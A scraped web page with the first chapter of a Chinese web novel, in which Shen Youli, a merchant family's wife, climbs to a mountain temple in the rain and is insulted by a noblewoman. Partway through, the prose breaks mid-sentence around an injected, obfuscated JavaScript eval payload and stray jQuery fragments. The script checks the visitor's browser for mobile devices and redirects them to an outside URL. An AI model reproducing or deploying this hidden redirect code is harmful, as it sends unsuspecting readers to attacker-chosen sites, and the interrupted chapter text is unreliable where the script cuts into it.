默认冷灰
24号文字
方正启体

1. 第 1 章

作者:忘还生本书字数:K更新时间:
    江南的雨丝千年万年落在三月天里,沈幼漓发觉自己快要让它们捆死、捆得透不过气来。


    是以婆母周氏让她同去禅月寺听讲经会时,沈幼漓佯装头疼,让她们先行。


    她最讨厌讲经参禅这种不着边际的玩意儿,坐那里只是苦熬,能拖一时是一时,能不去最好。


    但她儿子显然不想让她逃脱。


    洛成聿从书卷中抬头,眼里尽是不属于四岁的沉静:“阿娘,你今天不是要去看阿爹吗?婆婆都已经出发好久了。”


    六岁的女儿洛观棋本在掐花,闻言伸手掐在弟弟的脸,喝声清脆:“阿爹都不要我们了,去看他做什么!”


    在姐姐手上,洛成聿的成熟立刻破功,嘶嘶抽气,可怜地说:“可是我上回托下人给阿爹送了一道题,阿爹还没回复呢。”


    “你还敢送信!不争气的东西!”洛观棋下起死手,把弟弟掐得哇哇大叫,“你还敢踹我!不服气是吧!”


    “是你先欺负我的!娘!阿娘!姐姐打我!”


    雨声混着两个孩子的叫喊声,沈幼漓这头真开始疼了。


    “釉儿、丕儿——”她拉长了声音。


    洛成聿捂着遭掐红的腮,眼泪汪汪:“阿娘……”


    沈幼漓翻一个身:“乖,出去打,别吵到阿娘睡觉。”


    见“主判”罢堂,洛成聿逃开姐姐的魔爪,爬上罗汉床,把沈幼漓当面团搓:“阿娘,你就答应我吧!”


    洛观棋不甘示弱,也扑上来:“我要打石子,阿娘跟我打石子!”


    “阿娘——”


    “阿娘,不要去,陪我玩!”


    沈幼漓抱住嗡嗡响的头:“好,好,好,咱们去打彩石子,丕儿,你来不来?”


    丕儿拉着阿娘的手擦掉眼泪,“来,阿娘,可是,我书还没读完呢……”


    “你想玩还是想读书?”


    “我想阿娘陪我读书……”


    陪读……沈幼漓柔情稍减。


    “想想想,我还要想你脸长腚上呢,书呆子,你自己读去,阿娘咱们走!”


    没良心的阿娘欣然同往,顺道提醒:“釉儿,说话不可如此粗俗!”


    —


    等陪釉儿玩够了,沈幼漓打发两个孩子去睡午觉。


    将他们牵一块的小手都塞被子里,沈幼漓早习惯了姐弟俩前头斗得乌眼鸡一样,扭脸又好得手拉手。


    看看天光,她关好进风的窗户,托侍女雯情照看两个孩子。


    身上挂的钥匙随走动碰出响声,沈幼漓握在掌心,就三把,其中一把才半截手指长,哪儿都开不了,不过它是纯金的,花纹也怪精致好看,沈幼漓偶然从首饰盒看见,挑出来当挂饰,挂在钥匙里。


    摸完钥匙,她心安不少,重新挂回腰上,独自出府去。


    沈幼漓本想乘洛家马车出城,临了转念一想,往东油街赁了马车。


    洛家人出门是脚不踏地的,沈幼漓原没那娇惯劲儿,七年下来却逐渐习惯受用,坐稳后让车夫赶马,车轮滚过石板尽头,转到多泥浆坑洼的榆钱街。


    杨柳榆槐点缀着不算规整的院墙,青苔被雨水洗得苔痕苍绿,人人都得当心脚下,马车行过半里,瞧见三里桥脚店酒旗后扯紧马缰就能转到主街,不消半个时辰就能出瑜南城。


    瑜南城外,道路两旁草木借雨水催发枝条,嚣张霸占了半条官道,雨水还泡烂了路,这种天气出门只能趟满脚的黄浆,没有人能幸免。


    要下马车时,沈妙漓自幂蓠中看到那些黄泥水坑,暗道不好。


    马夫赶着回城再挣一单,催促她赶快下马。


    沈幼漓叹了口气,缀珠的鞋子踩在泥里,循着山路往上走。


    可绣鞋的软底和这湿滑泥路不对付,没几步就一个趔趄,她的脸差点拍在泥坑里,险险站稳,头上幂篱却掉了下来。


    墨发垂泄如雨丝,却比雨幕多几分摆动摇曳。沈幼漓有点气急败坏地将发丝拨开,见幂篱浸在水里,是不能往头上戴了。


    她捡起来,索性把绣鞋脱去提在手里,提起裙子,这才继续往前走。


    山雨渐急,沈幼漓步子加快,靠近禅月寺的山道,路上行人不止她一个人,没带伞的都在跑。


    抱书紧走的学子余光瞥见身旁的人跑过,本是随意看去,这一眼落在眼前经过的人身上,抬起的手臂忘记挡雨,目光似被线牵住,定定不动。


    “怎么突然停下了?”


    同窗问着,朝他视线所及处看去,俄而也失了言语,和友人一同目送那美人消失在山道拐弯处。


    那瘦长却莹白的腿小鹿一样跑过,流动着绸缎一般的乌发,都在脑中久久未消散。


    及得回神,一股怅然若失之感涌上心头。


    在世间有此惊鸿一瞥本是幸事,可又清楚这只是人海中擦肩而过的缘分,往后大概不会再有半点交集,如湖中雨痕散去。


    这般作想,不免令人叹惋。


    “刘兄你说,刚刚那娘子……是不是山鬼所化?我听闻城中洛家娘子是世间绝色,虽未见过,但一定是比不过这一位。”


    同窗苦笑:“既含睇兮又宜笑,子慕予兮善窈窕[1]。山野之中怎会有这样的女子,大抵真是什么山精野怪所化吧,走吧,雨就要下大了。”


    —


    上山后树变多了起来,将雨筛疏,沈幼漓放缓脚步。


    眼前的黄泥路换成了石阶,软鞋亦能行路,可瞧一眼脚下邋遢,总不能满脚沾着黄泥穿鞋吧。


    她循着记忆行至半山腰处,果然看到一眼清泉,正逢雨季,水声湍急,再往前就是攀山的石阶。


    沈幼漓提裙坐在清池边,将绣鞋放在一边,将沾满黄泥的脚浸在水里,一面将幂篱洗干净。


    虽是三春,可山泉水冷得得很,很快冻红了沈幼漓的脚踝和指节。


    正乘轿子上山的瑞昭县主就看到了这么一幕。


    县主本是欣赏山中细雨迷蒙的美景,车窗在转弯之后框在了一个野池边,一个年轻娘子在池边濯足,泉声动人,周身杳霭流玉,莫说是那乌云叠鬓、海棠醉日的模样是世间难寻,就连发尾都比别个要楚楚动人。


    精致的指甲磨在窗沿上,她专注打量着池边人。


    “县主,该换轿子了。”同乘的侍女的提醒让县主回神。


    “嗯……”


    收回视线,端昭县主扶着侍女的手,踩着人凳下马车去,早早撑开的花鸟软绢伞立刻为她遮去雨滴,人的很快就移到轿子上,风雨来不及打湿她的衣裙分毫。


    沈幼漓也注意到经过的车马和衣着华贵的女子,一眼看出此人身份不凡。


    莫说这宝马香车的规制在瑜南城罕见,就是下马车的女子那装束,也绝不是寻常官宦女子能穿戴的,想起近日瑜南城有权贵驾临,她立刻猜出了这年轻娘子的身份。


    本以为只是一面之缘,不过陌路,沈幼漓并未上心,照旧埋头洗刷,那轿中贵人却突然掀起帘子,直直与她对视。


    沈幼漓洗鞋的动作放慢,瞧了过去。


    “你也是来听讲经的?”瑞昭县主先朝她开口。


    沈幼漓将绣鞋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471589|169882||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    穿好,摇头道:“不是,只是跟随家人进香,不慎摔了一跤,在此收拾一下形容。”


    瑞昭县主不说话,打量的视线在她周身游走。


    这个时辰一个年轻娘子孤身出现在山寺之中,还平白在池边濯足,在佛门净地做出这般姣娆妖异的样子,实在让人怀疑居心。


    沈幼漓被盯得极不舒服,正要借故离开时,县主才说道:“佛门净地,岂容你举止如此不端。”


    面对这突然发难,沈幼漓先是莫名,后感恼火,山中猎户常在此洗血拔毛,处置猎物,她怎么不能洗脚?


    这人有毛病吧!


    放在平日,就是周氏在她都要顶回去,可眼前这人……这身份不好开罪。


    沈幼漓压住怒火:“我举止有何不端?”


    “私密之处怎能轻易示与外人,你在这人来人往的道旁洗脚,难道这行路的人全是你的夫君不成?”


    真是刺耳难听!三两句话就污蔑一个女子清白,这县主比长舌妇还厉害,舌头底下压死人呢。


    沈幼漓更确信此人无故找碴。


    她阴沉下脸 ,自问不是软柿子,可眼下敌众我寡,针锋相对实在讨不到半分好处。


    那些以众暴寡、曝尸荒野的猜测一晃而过,沈幼漓深吸一口气,自认俊杰,起身抚平裙摆,双手按在身侧行礼道:“多谢娘子提点,是我鲁莽了。”


    瑞昭郡主俯视着她,良久,轻轻丢下一句:“乡野粗鄙之人,大抵如此。”


    说罢帘子落下,轿子继续朝山上去。


    “面酸口苦肝火旺,该灌一副龙胆泻肝汤,再灌上生半夏——毒成个哑巴!”


    沈幼漓嘟嘟囔囔,对着空气挥去一拳,又被自己的前倨后恭的嘴脸气笑。


    可别让她再见着这人,她是没有忍第二次的气量。


    将遮面的幂篱重新戴上,沈幼漓踏上山道。


    再行一刻钟,已能看到禅月寺远远隐没在层林之中的飞檐翘角,还有翠烟幽幽升起,宛如一幅静谧写意的山水画。


    今朝崇佛,瑜南更是富庶,相传自前朝承袭的寺庙就有三百多座,凡有人烟处,皆有佛教信众,禅月寺更是瑜南闻名的大寺,每至初一十五,香客都会堵得水泄不通。


    到山门时,雨势已停。


    讲经会快至尾声。


    沈幼漓仰头瞧着石梁,灰白的纹理经年岁洗刷,被苔绿替代,成了这深山古刹的一部分,远处禅月寺的飞檐斗角在层翠中时隐时现。


    自生了釉儿和丕儿,她就鲜少再上来。


    她嫁入洛家,恰好七年了。


    起初,沈幼漓流落瑜南,山穷水尽,为几百两救命钱,她走投无路,向途经的巨贾洛家跪求援手,大夫人周氏舍了银子,却要她嫁她儿子。


    “你模样不错,我家少不了你吃穿,嫁给我儿子可好?”


    当时的沈幼漓比乞丐好不了多少,她将脏脸一擦,也敢开口:“要我嫁人,不是这个价钱。”


    “那是多少?”


    “一万两白银。”


    她是真的需要这笔钱。


    没想到周氏答应得爽快:“只要你嫁给我儿之后,能给洛家延续下香火,我就给一万两白银,永昌平钱号三百家分号通兑。”


    “成交。”


    沈幼漓不在乎嫁谁,谁能给她一万两,就是嫁块牌位她都嫁,生孩子这件事,她自认也会。


    周氏也是死马当活马医的,成了,一万两白银就没白花,若不成,也不会有什么损失。


    双方就这么立下了字据。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)